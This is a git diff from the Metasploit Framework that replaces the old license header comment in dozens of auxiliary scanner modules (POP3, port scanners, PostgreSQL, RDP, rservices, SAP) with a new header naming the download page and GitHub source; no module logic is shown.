-# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/tcp' diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb index d71290ccd7..d367bf82d1 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb index a450f4866a..d5943d38ff 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index 6a8ebc3af7..bc0663d459 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -1,7 +1,5 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index f2a7a21bf8..8a705907fc 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index a4f3c23dc4..aa6f32d6ab 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index f60f72b605..6909cc0ecb 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index 559c15a2f2..c45cfc4721 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index 51ca6a45e4..5695228f8f 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 8b73842250..1cccc48c5a 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb index 8776ba78ec..889d31bf5d 100644 --- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb +++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 921e92ecd4..93360ff4fb 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 51b4b8aeb6..4ab1c1403e 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index 01ae6cd9f1..927f3a17c7 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index c8e1e75b6d..210674f015 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index cd2a695d2a..f4f7178c7d 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb index 25e06400f1..cff6c6027b 100644 --- a/modules/auxiliary/scanner/rogue/rogue_recv.rb +++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 0c75c1eb96..85c344872e 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index dadc728c17..d2aa95a297 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index 99e4f6aabf..22c1d75ab0 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index 8496f3d4e6..b6fa2c2259 100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index 928d4963de..c5e4b57b90 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index f444d97cf7..c1c6156ac1 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index 8d8298519e..ddea1e132a 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb index c272f74957..2cff53d60b 100644 --- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb +++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index 48fc715810..cd43405d13 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index 8f1e2fe1cb..aa0ad16ba7 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index 87f7e8b863..ffd602c529 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index c0b7982e1b..bf13443ffa 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index d8cd96988c..c3ff2df3fd 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 1bc6d2b266..9e36341d55 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 9f3916f78d..48fb7562eb 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 475e2a42ef..8fbb4cc489 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index b79efb90d2..d253126761 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index 0dd80a28fa..83c0dd11e6 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index b6bc09bf83..1348f0c17e 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index eb466edee9..b899a020cb 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 9327c757cf..e44254134b 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb index d9eeb4b5a4..ef456cca26 100644 --- a/modules/auxiliary/scanner/sap/sap_router_portscanner.rb +++ b/modules/auxiliary/scanner/sap/sap_router_portscanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_service_discovery.rb b/modules/auxiliary/scanner/sap/sap_service_discovery.rb index a8992a091d..713ce9aec0 100644 --- a/modules/auxiliary/scanner/sap/sap_service_discovery.rb +++ b/modules/auxiliary/scanner/sap/sap_service_discovery.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index e6f3dff29b..eed2061010 100755 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index ffe924b191..78af94009e 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index f88e2134c0..48c0906e81 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index 007660c313..ba694c25ce 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index fbec4e0d3a..adf9458737 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index 2cada3dc6f..057fa6293b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 0f732b7a1e..640de4ece1 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index f8f8c9d9d1..a5c8baf036 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index 8b940e8671..f5270aabd8 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index 3282ab13da..ddf6079ca8 100755 --- 